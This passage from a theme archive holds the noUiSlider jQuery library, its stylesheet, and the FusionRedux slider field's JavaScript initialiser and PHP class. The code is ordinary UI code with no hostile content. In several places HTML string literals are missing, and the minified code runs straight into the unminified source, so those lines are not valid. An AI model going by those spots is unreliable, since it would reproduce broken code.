    ").appendTo(c)).addClass(s[1]),r.children().addClass([s[2],s[2]+s[7+e.direction+(e.direction?-1*a:a)]].join(" ")),r.data({base:c,target:i,options:e,grab:r.children(),pct:-1}).attr("data-style",e.style),r.data({store:w(r,a,e.serialization)}),o.push(r);switch(e.connect){case 1:i.addClass(s[9]),o[0].addClass(s[12]);break;case 3:o[1].addClass(s[12]);case 2:o[0].addClass(s[9]);case 0:i.addClass(s[12])}if(c.addClass(s[0]).data({target:i,options:e,handles:o}),i.val(e.start),!e.behaviour.fixed)for(a=0;a') .appendTo(handle) .addClass(clsList[3]) .change(function ( e ) { e.stopPropagation(); }), 'val']; } return [item]; } // Access point and abstraction for serialization. function store ( handle, i, serialization ) { var elements = []; // Loops all items in the provided serialization setting, // add the proper events to them or create new input fields, // and add them as data to the handle so they can be kept // in sync with the slider value. $.each( serialization['to'][i], function( index ){ elements = elements.concat( storeElement( handle, serialization['to'][i][index], i ) ); }); return { element: handle ,elements: elements ,target: handle.data('target') ,'val': serialize }; } // Handle placement // Fire callback on unsuccessful handle movement. function block ( base, stateless ) { var target = base.data('target'); if ( !target.hasClass(clsList[14]) ){ // The visual effects should not always be applied. if ( !stateless ) { target.addClass(clsList[15]); setTimeout(function(){ target.removeClass(clsList[15]); }, 450); } target.addClass(clsList[14]); call( base.data('options').block, target ); } } // Change inline style and apply proper classes. function placeHandle ( handle, to ) { var settings = handle.data('options'); to = digits(to, 7); // If the slider can move, remove the class // indicating the block state. handle.data('target').removeClass(clsList[14]); // Set handle to new location handle.css( settings['style'], to + '%' ).data('pct', to); // Force proper handle stacking if ( handle.is(':first-child') ) { handle.toggleClass(clsList[13], to > 50 ); } if ( settings['direction'] ) { to = 100 - to; } // Write the value to the serialization object. handle.data('store').val( format ( isPercentage( settings['range'], to ), settings ) ); } // Test suggested values and apply margin, step. function setHandle ( handle, to ) { var base = handle.data('base'), settings = base.data('options'), handles = base.data('handles'), lower = 0, upper = 100; // Catch invalid user input if ( !isNumeric( to ) ){ return false; } // Handle the step option. if ( settings['step'] ){ to = closest( to, settings['step'] ); } if ( handles.length > 1 ){ if ( handle[0] !== handles[0][0] ) { lower = digits(handles[0].data('pct')+settings['margin'],7); } else { upper = digits(handles[1].data('pct')-settings['margin'],7); } } // Limit position to boundaries. When the handles aren't set yet, // they return -1 as a percentage value. to = Math.min( Math.max( to, lower ), upper < 0 ? 100 : upper ); // Stop handling this call if the handle can't move past another. // Return an array containing the hit limit, so the caller can // provide feedback. ( block callback ). if ( to === handle.data('pct') ) { return [!lower ? false : lower, upper === 100 ? false : upper]; } placeHandle ( handle, to ); return true; } // Handles movement by tapping function jump ( base, handle, to, callbacks ) { // Flag the slider as it is now in a transitional state. // Transition takes 300 ms, so re-enable the slider afterwards. base.addClass(clsList[5]); setTimeout(function(){ base.removeClass(clsList[5]); }, 300); // Move the handle to the new position. setHandle( handle, to ); // Trigger the 'slide' and 'set' callbacks, // pass the target so that it is 'this'. call( callbacks, base.data('target') ); base.data('target').change(); } // Event handlers // Handle movement on document for handle and range drag. function move ( event, Dt, Op ) { // Map event movement to a slider percentage. var handles = Dt.handles, limits, proposal = event[ Dt.point ] - Dt.start[ Dt.point ]; proposal = ( proposal * 100 ) / Dt.size; if ( handles.length === 1 ) { // Run handle placement, receive true for success or an // array with potential limits. limits = setHandle( handles[0], Dt.positions[0] + proposal ); if ( limits !== true ) { if ( $.inArray ( handles[0].data('pct'), limits ) >= 0 ){ block ( Dt.base, !Op['margin'] ); } return; } } else { // Dragging the range could be implemented by forcing the // 'move' event on both handles, but this solution proved // lagging on slower devices, resulting in range errors. The // slightly ugly solution below is considerably faster, and // it can't move the handle out of sync. Bypass the standard // setting method, as other checks are needed. var l1, u1, l2, u2; // Round the proposal to the step setting. if ( Op['step'] ) { proposal = closest( proposal, Op['step'] ); } // Determine the new position, store it twice. Once for // limiting, once for checking whether placement should occur. l1 = l2 = Dt.positions[0] + proposal; u1 = u2 = Dt.positions[1] + proposal; // Round the values within a sensible range. if ( l1 < 0 ) { u1 += -1 * l1; l1 = 0; } else if ( u1 > 100 ) { l1 -= ( u1 - 100 ); u1 = 100; } // Don't perform placement if no handles are to be changed. // Check if the lowest value is set to zero. if ( l2 < 0 && !l1 && !handles[0].data('pct') ) { return; } // The highest value is limited to 100%. if ( u1 === 100 && u2 > 100 && handles[1].data('pct') === 100 ){ return; } placeHandle ( handles[0], l1 ); placeHandle ( handles[1], u1 ); } // Trigger the 'slide' event, if the handle was moved. call( Op['slide'], Dt.target ); } // Unbind move events on document, call callbacks. function end ( event, Dt, Op ) { // The handle is no longer active, so remove the class. if ( Dt.handles.length === 1 ) { Dt.handles[0].data('grab').removeClass(clsList[4]); } // Remove cursor styles and text-selection events bound to the body. if ( event.cursor ) { body.css('cursor', '').off( namespace ); } // Unbind the move and end events, which are added on 'start'. doc.off( namespace ); // Trigger the change event. Dt.target.removeClass( clsList[14] +' '+ clsList[20]).change(); // Trigger the 'end' callback. call( Op['set'], Dt.target ); } // Bind move events on document. function start ( event, Dt, Op ) { // Mark the handle as 'active' so it can be styled. if( Dt.handles.length === 1 ) { Dt.handles[0].data('grab').addClass(clsList[4]); } // A drag should never propagate up to the 'tap' event. event.stopPropagation(); // Attach the move event. attach ( actions.move, doc, move, { start: event ,base: Dt.base ,target: Dt.target ,handles: Dt.handles ,positions: [ Dt.handles[0].data('pct') ,Dt.handles[ Dt.handles.length - 1 ].data('pct') ] ,point: Op['orientation'] ? 'pointY' : 'pointX' ,size: Op['orientation'] ? Dt.base.height() : Dt.base.width() }); // Unbind all movement when the drag ends. attach ( actions.end, doc, end, { target: Dt.target ,handles: Dt.handles }); // Text selection isn't an issue on touch devices, // so adding additional callbacks isn't required. if ( event.cursor ) { // Prevent the 'I' cursor and extend the range-drag cursor. body.css('cursor', $(event.target).css('cursor')); // Mark the target with a dragging state. if ( Dt.handles.length > 1 ) { Dt.target.addClass(clsList[20]); } // Prevent text selection when dragging the handles. body.on('selectstart' + namespace, function( ){ return false; }); } } // Move closest handle to tapped location. function tap ( event, Dt, Op ) { var base = Dt.base, handle, to, point, size; // The tap event shouldn't propagate up to trigger 'edge'. event.stopPropagation(); // Determine the direction of the slider. if ( Op['orientation'] ) { point = event['pointY']; size = base.height(); } else { point = event['pointX']; size = base.width(); } // Find the closest handle and calculate the tapped point. handle = closestHandle( base.data('handles'), point, Op['style'] ); to = (( point - base.offset()[ Op['style'] ] ) * 100 ) / size; // The set handle to the new position. jump( base, handle, to, [ Op['slide'], Op['set'] ]); } // Move handle to edges when target gets tapped. function edge ( event, Dt, Op ) { var handles = Dt.base.data('handles'), to, i; i = Op['orientation'] ? event['pointY'] : event['pointX']; i = i < Dt.base.offset()[Op['style']]; to = i ? 0 : 100; i = i ? 0 : handles.length - 1; jump ( Dt.base, handles[i], to, [ Op['slide'], Op['set'] ]); } // API // Validate and standardize input. function test ( input, sliders ){ /* Every input option is tested and parsed. This'll prevent endless validation in internal methods. These tests are structured with an item for every option available. An option can be marked as required by setting the 'r' flag. The testing function is provided with three arguments: - The provided value for the option; - A reference to the options object; - The name for the option; The testing function returns false when an error is detected, or true when everything is OK. It can also modify the option object, to make sure all values can be correctly looped elsewhere. */ function values ( a ) { if ( a.length !== 2 ){ return false; } // Convert the array to floats a = [ parseFloat(a[0]), parseFloat(a[1]) ]; // Test if all values are numerical if( !isNumeric(a[0]) || !isNumeric(a[1]) ){ return false; } // The lowest value must really be the lowest value. if( a[1] < a[0] ){ return false; } return a; } var serialization = { resolution: function(q,o){ // Parse the syntactic sugar that is the serialization // resolution option to a usable integer. // Checking for a string '1', since the resolution needs // to be cast to a string to split in on the period. switch( q ){ case 1: case 0.1: case 0.01: case 0.001: case 0.0001: case 0.00001: q = q.toString().split('.'); o['decimals'] = q[0] === '1' ? 0 : q[1].length; break; case undefined: o['decimals'] = 2; break; default: return false; } return true; } ,mark: function(q,o,w){ if ( !q ) { o[w]['mark'] = '.'; return true; } switch( q ){ case '.': case ',': return true; default: return false; } } ,to: function(q,o,w){ // Checks whether a variable is a candidate to be a // valid serialization target. function ser(r){ return isInstance ( r ) || typeof r === 'string' || typeof r === 'function' || r === false || ( isInstance ( r[0] ) && typeof r[0][r[1]] === 'function' ); } // Flatten the serialization array into a reliable // set of elements, which can be tested and looped. function filter ( value ) { var items = [[],[]]; // If a single value is provided it can be pushed // immediately. if ( ser(value) ) { items[0].push(value); } else { // Otherwise, determine whether this is an // array of single elements or sets. $.each(value, function(i, val) { // Don't handle an overflow of elements. if( i > 1 ){ return; } // Decide if this is a group or not if( ser(val) ){ items[i].push(val); } else { items[i] = items[i].concat(val); } }); } return items; } if ( !q ) { o[w]['to'] = [[],[]]; } else { var i, j; // Flatten the serialization array q = filter ( q ); // Reverse the API for RTL sliders. if ( o['direction'] && q[1].length ) { q.reverse(); } // Test all elements in the flattened array. for ( i = 0; i < o['handles']; i++ ) { for ( j = 0; j < q[i].length; j++ ) { // Return false on invalid input if( !ser(q[i][j]) ){ return false; } // Remove 'false' elements, since those // won't be handled anyway. if( !q[i][j] ){ q[i].splice(j, 1); } } } // Write the new values back o[w]['to'] = q; } return true; } }, tests = { /* Handles. * Has default, can be 1 or 2. */ 'handles': { 'r': true ,'t': function(q){ q = parseInt(q, 10); return ( q === 1 || q === 2 ); } } /* Range. * Must be an array of two numerical floats, * which can't be identical. */ ,'range': { 'r': true ,'t': function(q,o,w){ o[w] = values(q); // The values can't be identical. return o[w] && o[w][0] !== o[w][1]; } } /* Start. * Must be an array of two numerical floats when handles = 2; * Uses 'range' test. * When handles = 1, a single float is also allowed. */ ,'start': { 'r': true ,'t': function(q,o,w){ if( o['handles'] === 1 ){ if( Array.isArray(q) ){ q = q[0]; } q = parseFloat(q); o.start = [q]; return isNumeric(q); } o[w] = values(q); return !!o[w]; } } /* Connect. * Must be true or false when handles = 2; * Can use 'lower' and 'upper' when handles = 1. */ ,'connect': { 'r': true ,'t': function(q,o,w){ if ( q === 'lower' ) { o[w] = 1; } else if ( q === 'upper' ) { o[w] = 2; } else if ( q === true ) { o[w] = 3; } else if ( q === false ) { o[w] = 0; } else { return false; } return true; } } /* Connect. * Will default to horizontal, not required. */ ,'orientation': { 't': function(q,o,w){ switch (q){ case 'horizontal': o[w] = 0; break; case 'vertical': o[w] = 1; break; default: return false; } return true; } } /* Margin. * Must be a float, has a default value. */ ,'margin': { 'r': true ,'t': function(q,o,w){ q = parseFloat(q); o[w] = fromPercentage(o['range'], q); return isNumeric(q); } } /* Direction. * Required, can be 'ltr' or 'rtl'. */ ,'direction': { 'r': true ,'t': function(q,o,w){ switch ( q ) { case 'ltr': o[w] = 0; break; case 'rtl': o[w] = 1; // Invert connection for RTL sliders; o['connect'] = [0,2,1,3][o['connect']]; break; default: return false; } return true; } } /* Behaviour. * Required, defines responses to tapping and * dragging elements. */ ,'behaviour': { 'r': true ,'t': function(q,o,w){ o[w] = { 'tap': q !== (q = q.replace('tap', '')) ,'extend': q !== (q = q.replace('extend', '')) ,'drag': q !== (q = q.replace('drag', '')) ,'fixed': q !== (q = q.replace('fixed', '')) }; return !q.replace('none','').replace(/\-/g,''); } } /* Serialization. * Required, but has default. Must be an array * when using two handles, can be a single value when using * one handle. 'mark' can be period (.) or comma (,). */ ,'serialization': { 'r': true ,'t': function(q,o,w){ return serialization.to( q['to'], o, w ) && serialization.resolution( q['resolution'], o ) && serialization.mark( q['mark'], o, w ); } } /* Slide. * Not required. Must be a function. */ ,'slide': { 't': function(q){ return $.isFunction(q); } } /* Set. * Not required. Must be a function. * Tested using the 'slide' test. */ ,'set': { 't': function(q){ return $.isFunction(q); } } /* Block. * Not required. Must be a function. * Tested using the 'slide' test. */ ,'block': { 't': function(q){ return $.isFunction(q); } } /* Step. * Not required. */ ,'step': { 't': function(q,o,w){ q = parseFloat(q); o[w] = fromPercentage ( o['range'], q ); return isNumeric(q); } } }; $.each( tests, function( name, test ){ /*jslint devel: true */ var value = input[name], isSet = value !== undefined; // If the value is required but not set, fail. if( ( test['r'] && !isSet ) || // If the test returns false, fail. ( isSet && !test['t']( value, input, name ) ) ){ // For debugging purposes it might be very useful to know // what option caused the trouble. Since throwing an error // will prevent further script execution, log the error // first. Test for console, as it might not be available. if( console && console.log && console.group ){ console.group( 'Invalid noUiSlider initialisation:' ); console.log( 'Option:\t', name ); console.log( 'Value:\t', value ); console.log( 'Slider(s):\t', sliders ); console.groupEnd(); } throw new RangeError('noUiSlider'); } }); } // Parse options, add classes, attach events, create HTML. function create ( options ) { /*jshint validthis: true */ // Store the original set of options on all targets, // so they can be re-used and re-tested later. // Make sure to break the relation with the options, // which will be changed by the 'test' function. this.data('options', $.extend(true, {}, options)); // Set defaults where applicable; options = $.extend({ 'handles': 2 ,'margin': 0 ,'connect': false ,'direction': 'ltr' ,'behaviour': 'tap' ,'orientation': 'horizontal' }, options); // Make sure the test for serialization runs. options['serialization'] = options['serialization'] || {}; // Run all options through a testing mechanism to ensure correct // input. The test function will throw errors, so there is // no need to capture the result of this call. It should be noted // that options might get modified to be handled properly. E.g. // wrapping integers in arrays. test( options, this ); // Pre-define the styles. options['style'] = options['orientation'] ? 'top' : 'left'; return this.each(function(){ var target = $(this), i, dragable, handles = [], handle, base = $('
    ').appendTo(target); // Throw an error if the slider was already initialized. if ( target.data('base') ) { throw new Error('Slider was already initialized.'); } // Apply classes and data to the target. target.data('base', base).addClass([ clsList[6] ,clsList[16 + options['direction']] ,clsList[10 + options['orientation']] ].join(' ')); for (i = 0; i < options['handles']; i++ ) { handle = $('
    ').appendTo(base); // Add all default and option-specific classes to the // origins and handles. handle.addClass( clsList[1] ); handle.children().addClass([ clsList[2] ,clsList[2] + clsList[ 7 + options['direction'] + ( options['direction'] ? -1 * i : i ) ]].join(' ') ); // Make sure every handle has access to all variables. handle.data({ 'base': base ,'target': target ,'options': options ,'grab': handle.children() ,'pct': -1 }).attr('data-style', options['style']); // Every handle has a storage point, which takes care // of triggering the proper serialization callbacks. handle.data({ 'store': store(handle, i, options['serialization']) }); // Store handles on the base handles.push(handle); } // Apply the required connection classes to the elements // that need them. Some classes are made up for several // segments listed in the class list, to allow easy // renaming and provide a minor compression benefit. switch ( options['connect'] ) { case 1: target.addClass( clsList[9] ); handles[0].addClass( clsList[12] ); break; case 3: handles[1].addClass( clsList[12] ); /* falls through */ case 2: handles[0].addClass( clsList[9] ); /* falls through */ case 0: target.addClass(clsList[12]); break; } // Merge base classes with default, // and store relevant data on the base element. base.addClass( clsList[0] ).data({ 'target': target ,'options': options ,'handles': handles }); // Use the public value method to set the start values. target.val( options['start'] ); // Attach the standard drag event to the handles. if ( !options['behaviour']['fixed'] ) { for ( i = 0; i < handles.length; i++ ) { // These events are only bound to the visual handle // element, not the 'real' origin element. attach ( actions.start, handles[i].children(), start, { base: base ,target: target ,handles: [ handles[i] ] }); } } // Attach the tap event to the slider base. if ( options['behaviour']['tap'] ) { attach ( actions.start, base, tap, { base: base ,target: target }); } // Extend tapping behaviour to target if ( options['behaviour']['extend'] ) { target.addClass( clsList[19] ); if ( options['behaviour']['tap'] ) { attach ( actions.start, target, edge, { base: base ,target: target }); } } // Make the range dragable. if ( options['behaviour']['drag'] ){ dragable = base.find('.'+clsList[9]).addClass(clsList[18]); // When the range is fixed, the entire range can // be dragged by the handles. The handle in the first // origin will propagate the start event upward, // but it needs to be bound manually on the other. if ( options['behaviour']['fixed'] ) { dragable = dragable .add( base.children().not(dragable).data('grab') ); } attach ( actions.start, dragable, start, { base: base ,target: target ,handles: handles }); } }); } // Return value for the slider, relative to 'range'. function getValue ( ) { /*jshint validthis: true */ var base = $(this).data('base'), answer = []; // Loop the handles, and get the value from the input // for every handle on its' own. $.each( base.data('handles'), function(){ answer.push( $(this).data('store').val() ); }); // If the slider has just one handle, return a single value. // Otherwise, return an array, which is in reverse order // if the slider is used RTL. if ( answer.length === 1 ) { return answer[0]; } if ( base.data('options').direction ) { return answer.reverse(); } return answer; } // Set value for the slider, relative to 'range'. function setValue ( args, set ) { /*jshint validthis: true */ // If the value is to be set to a number, which is valid // when using a one-handle slider, wrap it in an array. if( !Array.isArray(args) ){ args = [args]; } // Setting is handled properly for each slider in the data set. return this.each(function(){ var b = $(this).data('base'), to, i, handles = Array.prototype.slice.call(b.data('handles'),0), settings = b.data('options'); // If there are multiple handles to be set run the setting // mechanism twice for the first handle, to make sure it // can be bounced of the second one properly. if ( handles.length > 1) { handles[2] = handles[0]; } // The RTL settings is implemented by reversing the front-end, // internal mechanisms are the same. if ( settings['direction'] ) { args.reverse(); } for ( i = 0; i < handles.length; i++ ){ // Calculate a new position for the handle. to = args[ i%2 ]; // The set request might want to ignore this handle. // Test for 'undefined' too, as a two-handle slider // can still be set with an integer. if( to === null || to === undefined ) { continue; } // Add support for the comma (,) as a decimal symbol. // Replace it by a period so it is handled properly by // parseFloat. Omitting this would result in a removal // of decimals. This way, the developer can also // input a comma separated string. if( $.type(to) === 'string' ) { to = to.replace(',', '.'); } // Calculate the new handle position to = toPercentage( settings['range'], parseFloat( to ) ); // Invert the value if this is an right-to-left slider. if ( settings['direction'] ) { to = 100 - to; } // If the value of the input doesn't match the slider, // reset it. Sometimes the input is changed to a value the // slider has rejected. This can occur when using 'select' // or 'input[type="number"]' elements. In this case, set // the value back to the input. if ( setHandle( handles[i], to ) !== true ){ handles[i].data('store').val( true ); } // Optionally trigger the 'set' event. if( set === true ) { call( settings['set'], $(this) ); } } }); } // Unbind all attached events, remove classed and HTML. function destroy ( target ) { // Start the list of elements to be unbound with the target. var elements = [[target,'']]; // Get the fields bound to both handles. $.each(target.data('base').data('handles'), function(){ elements = elements.concat( $(this).data('store').elements ); }); // Remove all events added by noUiSlider. $.each(elements, function(){ if( this.length > 1 ){ this[0].off( namespace ); } }); // Remove all classes from the target. target.removeClass(clsList.join(' ')); // Empty the target and remove all data. target.empty().removeData('base options'); } // Merge options with current initialization, destroy slider // and reinitialize. function build ( options ) { /*jshint validthis: true */ return this.each(function(){ // When uninitialised, jQuery will return '', // Zepto returns undefined. Both are falsy. var values = $(this).val() || false, current = $(this).data('options'), // Extend the current setup with the new options. setup = $.extend( {}, current, options ); // If there was a slider initialised, remove it first. if ( values !== false ) { destroy( $(this) ); } // Make the destroy method publicly accessible. if( !options ) { return; } // Create a new slider $(this)['noUiSlider']( setup ); // Set the slider values back. If the start options changed, // it gets precedence. if ( values !== false && setup.start === current.start ) { $(this).val( values ); } }); } // Overwrite the native jQuery value function // with a simple handler. noUiSlider will use the internal // value method, anything else will use the standard method. $.fn.val = function(){ // If the function is called without arguments, // act as a 'getter'. Call the getValue function // in the same scope as this call. if ( this.hasClass( clsList[6] ) ){ return arguments.length ? setValue.apply( this, arguments ) : getValue.apply( this ); } // If this isn't noUiSlider, continue with jQuery's // original method. return $VAL.apply( this, arguments ); }; return ( rebuild ? build : create ).call( this, options ); }; }( window['jQuery'] || window['Zepto'] )); framework/FusionReduxCore/inc/fields/slider/vendor/nouislider/fusionredux.jquery.nouislider.css000064400000006035152342437710034604 0ustar00Avada/includes/lib/inc/redux /* Functional styling; * These styles are required for noUiSlider to function. * You don't need to change these rules to apply your design. */ .noUi-target, .noUi-target * { -webkit-touch-callout: none; -webkit-user-select: none; -ms-touch-action: none; -ms-user-select: none; -moz-user-select: none; -moz-box-sizing: border-box; box-sizing: border-box; } .noUi-base { width: 100%; height: 100%; position: relative; } .noUi-origin { position: absolute; right: 0; top: 0; left: 0; bottom: 0; } .noUi-handle { position: relative; z-index: 1; } .noUi-stacking .noUi-handle { /* This class is applied to the lower origin when its values is > 50%. */ z-index: 10; } .noUi-stacking + .noUi-origin { /* Fix stacking order in IE7, which incorrectly creates a new context for the origins. */ *z-index: -1; } .noUi-state-tap .noUi-origin { -webkit-transition: left 0.3s, top 0.3s; transition: left 0.3s, top 0.3s; } .noUi-state-drag * { cursor: inherit !important; } /* Slider size and handle placement; */ .noUi-horizontal { height: 18px; } .noUi-horizontal .noUi-handle { width: 34px; height: 28px; left: -17px; top: -6px; } .noUi-horizontal.noUi-extended { padding: 0 15px; } .noUi-horizontal.noUi-extended .noUi-origin { right: -15px; } .noUi-vertical { width: 18px; } .noUi-vertical .noUi-handle { width: 28px; height: 34px; left: -6px; top: -17px; } .noUi-vertical.noUi-extended { padding: 15px 0; } .noUi-vertical.noUi-extended .noUi-origin { bottom: -15px; } /* Styling; */ .noUi-background { background: #FAFAFA; box-shadow: inset 0 1px 1px #f0f0f0; } .noUi-connect { background: #3FB8AF; box-shadow: inset 0 0 3px rgba(51,51,51,0.45); -webkit-transition: background 450ms; transition: background 450ms; } .noUi-origin { border-radius: 2px; } .noUi-target { border-radius: 4px; border: 1px solid #D3D3D3; box-shadow: inset 0 1px 1px #F0F0F0, 0 3px 6px -5px #BBB; } .noUi-target.noUi-connect { box-shadow: inset 0 0 3px rgba(51,51,51,0.45), 0 3px 6px -5px #BBB; } /* Handles and cursors; */ .noUi-dragable { cursor: w-resize; } .noUi-vertical .noUi-dragable { cursor: n-resize; } .noUi-handle { border: 1px solid #D9D9D9; border-radius: 3px; background: #FFF; cursor: default; box-shadow: inset 0 0 1px #FFF, inset 0 1px 7px #EBEBEB, 0 3px 6px -3px #BBB; } .noUi-active { box-shadow: inset 0 0 1px #FFF, inset 0 1px 7px #DDD, 0 3px 6px -3px #BBB; } /* Handle stripes; */ .noUi-handle:before, .noUi-handle:after { content: ""; display: block; position: absolute; height: 14px; width: 1px; background: #E8E7E6; left: 14px; top: 6px; } .noUi-handle:after { left: 17px; } .noUi-vertical .noUi-handle:before, .noUi-vertical .noUi-handle:after { width: 14px; height: 1px; left: 6px; top: 14px; } .noUi-vertical .noUi-handle:after { top: 17px; } /* Disabled state; */ [disabled].noUi-connect, [disabled] .noUi-connect { background: #B8B8B8; } [disabled] .noUi-handle { cursor: not-allowed; } /* Blocked state; */ .noUi-state-blocked.noUi-connect, .noUi-state-blocked .noUi-connect { background: #4FDACF; } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slider/field_slider.min.js000064400000006535152342437710026204 0ustar00!function(e){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.slider=fusionredux.field_objects.slider||{},e(document).ready(function(){}),fusionredux.field_objects.slider.init=function(i){i||(i=e(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-slider:visible")),e(i).each(function(){var i=e(this),s=i;if(i.hasClass("fusionredux-field-container")||(s=i.parents(".fusionredux-field-container:first")),!s.is(":hidden")&&s.hasClass("fusionredux-field-init")){s.removeClass("fusionredux-field-init"),i.find("div.fusionredux-slider-container").each(function(){var s,n,t,d,l,r,a=e(this).data("id"),o=e(this).data("min"),u=e(this).data("max"),f=e(this).data("step"),c=e(this).data("handles"),v=e(this).data("default-one"),x=e(this).data("default-two"),h=e(this).data("resolution"),p=parseInt(e(this).data("display")),b=Boolean(e(this).data("rtl")),w=e(this).data("float-mark");Boolean(e(this).data("forced"));r=!0===b?"rtl":"ltr";var _,j,m,g,k=[o,u],C=[v,x],S=[v];if(2==p?(_=t=i.find(".fusionredux-slider-input-one-"+a),j=d=i.find(".fusionredux-slider-input-two-"+a)):3==p?(t=i.find(".fusionredux-slider-select-one-"+a),d=i.find(".fusionredux-slider-select-two-"+a),fusionredux.field_objects.slider.loadSelect(t,o,u,h,f),2===c&&fusionredux.field_objects.slider.loadSelect(d,o,u,h,f)):1==p?(t=i.find("#fusionredux-slider-label-one-"+a),d=i.find("#fusionredux-slider-label-two-"+a)):0==p&&(t=i.find(".fusionredux-slider-value-one-"+a),d=i.find(".fusionredux-slider-value-two-"+a)),1==p){var y=[t,"html"];m=[y],g=[y,[d,"html"]]}else m=[t],g=[t,d];2===c?(s=C,n=g,l=!0):(s=S,n=m,l="lower");var F=e(this).noUiSlider({range:k,start:s,handles:c,step:f,connect:l,behaviour:"tap-drag",direction:r,serialization:{resolution:h,to:n,mark:w},slide:function(){if(1==p)if(2===c){var s=F.val();i.find("input.fusionredux-slider-value-one-"+a).attr("value",s[0]),i.find("input.fusionredux-slider-value-two-"+a).attr("value",s[1])}else i.find("input.fusionredux-slider-value-one-"+a).attr("value",F.val());3==p&&(2===c?(i.find(".fusionredux-slider-select-one").select3("val",F.val()[0]),i.find(".fusionredux-slider-select-two").select3("val",F.val()[1])):i.find(".fusionredux-slider-select-one").select3("val",F.val())),fusionredux_change(e(this).parents(".fusionredux-field-container:first").find("input"))}});2===p&&(_.keydown(function(e){var i=F.val(),s=parseInt(i[0]);switch(e.which){case 38:F.val([s+1,null]);break;case 40:F.val([s-1,null]);break;case 13:e.preventDefault()}}),2===c&&j.keydown(function(e){var i=F.val(),s=parseInt(i[1]);switch(e.which){case 38:F.val([null,s+1]);break;case 40:F.val([null,s-1]);break;case 13:e.preventDefault()}}))});var n={width:"resolve",triggerChange:!0,allowClear:!0},t=i.find(".select3_params");if(t.length>0){var d=t.val();d=JSON.parse(d),n=e.extend({},n,d)}i.find("select.fusionredux-slider-select-one, select.fusionredux-slider-select-two").select3(n)}})},fusionredux.field_objects.slider.isFloat=function(e){return+e===e&&!isFinite(e)||Boolean(e%1)},fusionredux.field_objects.slider.decimalCount=function(e){return e.toString().split(".")[1].length},fusionredux.field_objects.slider.loadSelect=function(i,s,n,t,d){for(var l=s;l<=n;l+=t){var r=l;if(fusionredux.field_objects.slider.isFloat(t)){var a=fusionredux.field_objects.slider.decimalCount(t);r=l.toFixed(a)}e(i).append('")}}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/slider/field_slider.php000064400000027433152342437710025575 0ustar00. * * @package FusionReduxFramework * @subpackage Field_Slider * @author Kevin Provance (kprovance) * @version 2.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'FusionReduxFramework_slider' ) ) { class FusionReduxFramework_slider { /** * Field options. * * @var array */ public $field = []; /** * The parent. * * @var mixed */ public $parent; /** * The value. * * @var array|string */ public $value = ''; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since FusionReduxFramework 3.1.8 */ private $display_none = 0; private $display_label = 1; private $display_text = 2; private $display_select = 3; function __construct( $field = array(), $value = '', $parent = null ) { //parent::__construct( $parent->sections, $parent->args ); $this->parent = $parent; $this->field = $field; $this->value = $value; // Set defaults $defaults = array( 'handles' => 1, 'resolution' => 1, 'display_value' => 'text', 'float_mark' => '.', 'forced' => true ); $this->field = wp_parse_args( $this->field, $defaults ); // Sanitize float mark switch ( $this->field['float_mark'] ) { case ',': case '.': break; default: $this->field['float_mark'] = '.'; break; } // Sanitize resolution value $this->field['resolution'] = $this->cleanVal( $this->field['resolution'] ); // Sanitize handle value switch ( $this->field['handles'] ) { case 0: case 1: $this->field['handles'] = 1; break; default: $this->field['handles'] = 2; break; } // Sanitize display value switch ( $this->field['display_value'] ) { case 'label': $this->field['display_value'] = $this->display_label; break; case 'text': default: $this->field['display_value'] = $this->display_text; break; case 'select': $this->field['display_value'] = $this->display_select; break; case 'none': $this->field['display_value'] = $this->display_none; break; } } private function cleanVal( $var ) { if ( is_float( $var ) ) { $cleanVar = floatval( $var ); } else { $cleanVar = intval( $var ); } return $cleanVar; } private function cleanDefault( $val ) { if ( empty( $val ) && ! empty( $this->field['default'] ) && $this->cleanVal( $this->field['min'] ) >= 1 ) { $val = $this->cleanVal( $this->field['default'] ); } if ( empty( $val ) && $this->cleanVal( $this->field['min'] ) >= 1 ) { $val = $this->cleanVal( $this->field['min'] ); } if ( empty( $val ) ) { $val = 0; } // Extra Validation if ( $val < $this->field['min'] ) { $val = $this->cleanVal( $this->field['min'] ); } else if ( $val > $this->field['max'] ) { $val = $this->cleanVal( $this->field['max'] ); } return $val; } private function cleanDefaultArray( $val ) { $one = $this->value[1]; $two = $this->value[2]; if ( empty( $one ) && ! empty( $this->field['default'][1] ) && $this->cleanVal( $this->field['min'] ) >= 1 ) { $one = $this->cleanVal( $this->field['default'][1] ); } if ( empty( $one ) && $this->cleanVal( $this->field['min'] ) >= 1 ) { $one = $this->cleanVal( $this->field['min'] ); } if ( empty( $one ) ) { $one = 0; } if ( empty( $two ) && ! empty( $this->field['default'][2] ) && $this->cleanVal( $this->field['min'] ) >= 1 ) { $two = $this->cleanVal( $this->field['default'][1] + 1 ); } if ( empty( $two ) && $this->cleanVal( $this->field['min'] ) >= 1 ) { $two = $this->cleanVal( $this->field['default'][1] + 1 ); } if ( empty( $two ) ) { $two = $this->field['default'][1] + 1; } $val[0] = $one; $val[1] = $two; return $val; } /** * Clean the field data to the fields defaults given the parameters. * * @since FusionRedux_Framework 3.1.8 */ function clean() { // Set min to 0 if no value is set. $this->field['min'] = empty( $this->field['min'] ) ? 0 : $this->cleanVal( $this->field['min'] ); // Set max to min + 1 if empty. $this->field['max'] = empty( $this->field['max'] ) ? $this->field['min'] + 1 : $this->cleanVal( $this->field['max'] ); // Set step to 1 if step is empty ot step > max. $this->field['step'] = empty( $this->field['step'] ) || $this->field['step'] > $this->field['max'] ? 1 : $this->cleanVal( $this->field['step'] ); if ( 2 == $this->field['handles'] ) { if ( ! is_array( $this->value ) ) { $this->value[1] = 0; $this->value[2] = 1; } $this->value = $this->cleanDefaultArray( $this->value ); } else { if ( is_array( $this->value ) ) { $this->value = 0; } $this->value = $this->cleanDefault( $this->value ); } // More dummy checks //if ( ! is_array( $this->field['default'] ) && 2 == $this->field['handles'] ) { if ( ! is_array( $this->value ) && 2 == $this->field['handles'] ) { $this->value[0] = $this->field['min']; $this->value[1] = $this->field['min'] + 1; } //if ( is_array( $this->field['default'] ) && 1 == $this->field['handles'] ) { if ( is_array( $this->value ) && 1 == $this->field['handles'] ) { $this->value = $this->field['min']; } } /** * Enqueue Function. * If this field requires any 